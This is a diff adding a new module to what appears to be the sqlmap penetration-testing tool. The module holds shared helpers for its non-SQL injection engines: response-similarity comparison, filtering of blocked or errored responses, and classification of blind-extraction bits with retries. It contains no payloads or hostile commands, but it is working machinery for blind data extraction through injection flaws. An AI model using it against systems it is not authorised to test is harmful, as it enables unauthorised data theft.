# variant re-detects internal-entity reflection, so it is redundant (and mislabels

148
lib/utils/nonsql.py Normal file
View file

@ -0,0 +1,148 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Shared detection primitives for the non-SQL injection techniques (--nosql, --xpath, --ldap, --hql,
--ssti, --graphql, --xxe). Each of those engines historically carried its own copy of the same
response-comparison, error/blocked-status filtering, blind-bit classification and user-oracle logic;
this module is the single home for that shared machinery so the behavior is uniform and reviewable
in one place rather than drifting across six files.
"""
import difflib
import re
from lib.core.data import conf
from lib.core.settings import UPPER_RATIO_BOUND
from lib.parse.html import htmlParser
# Minimum similarity margin by which a blind-extraction response must lean toward the confirmed TRUE
# model over the FALSE model before a bit is accepted as true (else ambiguous -> false). Deliberately
# generous: a small (e.g. 5%) margin lets a noisy page fabricate values one character at a time.
EXTRACT_MATCH_MARGIN = 0.2
# HTTP statuses that mean the response is BLOCKED (WAF / rate-limit); together with 5xx these must
# never be fed to a boolean oracle as if they were application content.
BLOCKED_HTTP_CODES = frozenset((403, 429))
# generic SQL/DBMS error marker (mirrors lib/parse/html.py's own generic check), used alongside the
# DBMS-specific errors.xml signatures that htmlParser() recognizes
_SQL_ERROR_REGEX = re.compile(r"(?i)SQL (warning|error|syntax)")
def ratio(first, second):
"""Content-similarity ratio shared by every non-SQL detector (difflib quick_ratio over the two
response bodies) - one implementation instead of six identical copies."""
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
def blockedStatus(code):
"""True when an HTTP status means the response is blocked/errored (a 5xx, or a WAF/rate-limit
403/429) and so is not a usable oracle sample. `_send()` implementations return None for these
(and for transport exceptions) so the boolean routines, which reject None, can never decide on
a non-answer."""
return bool(code) and (code >= 500 or code in BLOCKED_HTTP_CODES)
def sqlErrorPresent(page):
"""True when the response carries a recognized SQL/DBMS error - either a DBMS-specific signature
from sqlmap's errors.xml (via htmlParser) or the generic 'SQL warning/error/syntax' marker. The
non-SQL detectors treat such a page as NOT a valid boolean template, so a payload that merely
trips a back-end SQL syntax error cannot fake a true/false divergence and get a plainly SQL-
injectable parameter mis-reported as NoSQL / XPath / LDAP / HQL."""
page = page or ""
return bool(htmlParser(page)) or bool(_SQL_ERROR_REGEX.search(page))
# Visible placeholder for a single recovered cell/attribute whose extraction was INCONCLUSIVE (the
# oracle stayed ambiguous after retries). Rendered in dumps in place of the value so a failed cell is
# never silently shown as a genuine empty string - `None` from an extractor means "unknown", `""` means
# "really empty", and they must stay distinguishable in the output.
INCONCLUSIVE_MARK = "<inconclusive>"
class InconclusiveError(Exception):
"""Raised by resolveBit(abort=True) when a bit stays INCONCLUSIVE after retries. Per-value
extractors catch it to ABORT the current value (return what was recovered so far, marked
incomplete) instead of substituting a semantic False - which would corrupt a length, pick the
wrong half of a bisection, or truncate enumeration."""
class Decision(object):
"""Tri(+)-state blind-inference outcome. INCONCLUSIVE is deliberately DISTINCT from FALSE: an
ambiguous comparison (equally close to both models, close to neither, or a transport/blocked
anomaly) must be retried/aborted, NOT silently read as a semantic false - which would shorten a
value, pick the wrong half of a bisection or truncate enumeration."""
TRUE = "TRUE"
FALSE = "FALSE"
INCONCLUSIVE = "INCONCLUSIVE"
def decide(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN):
"""Classify a blind-inference response against the two calibrated models, returning a Decision.
TRUE when it resembles the confirmed TRUE model (identical, or clearly closer to it than to the
FALSE model by `margin`); FALSE when it resembles the FALSE model; INCONCLUSIVE when it leans to
neither (so the caller can retry or abort rather than guess)."""
if page is None:
return Decision.INCONCLUSIVE
simTrue, simFalse = ratio(trueModel, page), ratio(falseModel, page)
if simTrue >= UPPER_RATIO_BOUND and simTrue >= simFalse:
return Decision.TRUE
if simFalse >= UPPER_RATIO_BOUND and simFalse >= simTrue:
return Decision.FALSE
if (simTrue - simFalse) >= margin:
return Decision.TRUE
if (simFalse - simTrue) >= margin:
return Decision.FALSE
return Decision.INCONCLUSIVE
def resolveBit(page, trueModel, falseModel, resend, retries=2, margin=EXTRACT_MATCH_MARGIN, abort=True):
"""Resolve one blind bit to True/False. On an INCONCLUSIVE first read, RE-SEND (fresh, cache-
bypassing) up to `retries` times to ride out transient jitter before deciding. `resend` is a
0-arg callable returning a fresh page (or None on error/block). If a bit stays INCONCLUSIVE after
the retries: raise InconclusiveError when `abort` (the caller aborts the CURRENT VALUE rather than
corrupt it), else return False."""
d = decide(page, trueModel, falseModel, margin)
tries = 0
while d is Decision.INCONCLUSIVE and tries < retries:
page = resend()
if page is None:
break
d = decide(page, trueModel, falseModel, margin)
tries += 1
if d is Decision.INCONCLUSIVE and abort:
raise InconclusiveError()
return d is Decision.TRUE
def leansTrue(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN):
"""Boolean shorthand for `decide(...) is Decision.TRUE` (kept for callers that don't retry).
A page indistinguishable from the FALSE model, or ambiguous, is NOT true - so a dynamic token, a
changed error page, a WAF/rate-limit body or a transient exception can never fabricate a bit."""
return decide(page, trueModel, falseModel, margin) is Decision.TRUE
def userOracleActive():
"""True when the user supplied an explicit true/false response signal (--string / --not-string /
--regexp) that the non-SQL techniques should honor instead of relying on raw page similarity."""
return bool(getattr(conf, "string", None) or getattr(conf, "notString", None) or getattr(conf, "regexp", None))
def userDecision(page):
"""Classify a response with the user's explicit oracle (--string / --not-string / --regexp),
returning True/False, or None when no override is set (caller falls back to content comparison).
Page-only: HTTP-code overrides (--code) stay per-engine, where the status line is available.
This routes the non-SQL boolean detectors through sqlmap's documented detection overrides - the
same knobs the SQL engine honors - rather than discarding them for a fixed similarity ratio."""
page = page or ""
if getattr(conf, "string", None):
return conf.string in page
if getattr(conf, "notString", None):
return conf.notString not in page
if getattr(conf, "regexp", None):
return re.search(conf.regexp, page) is not None
return None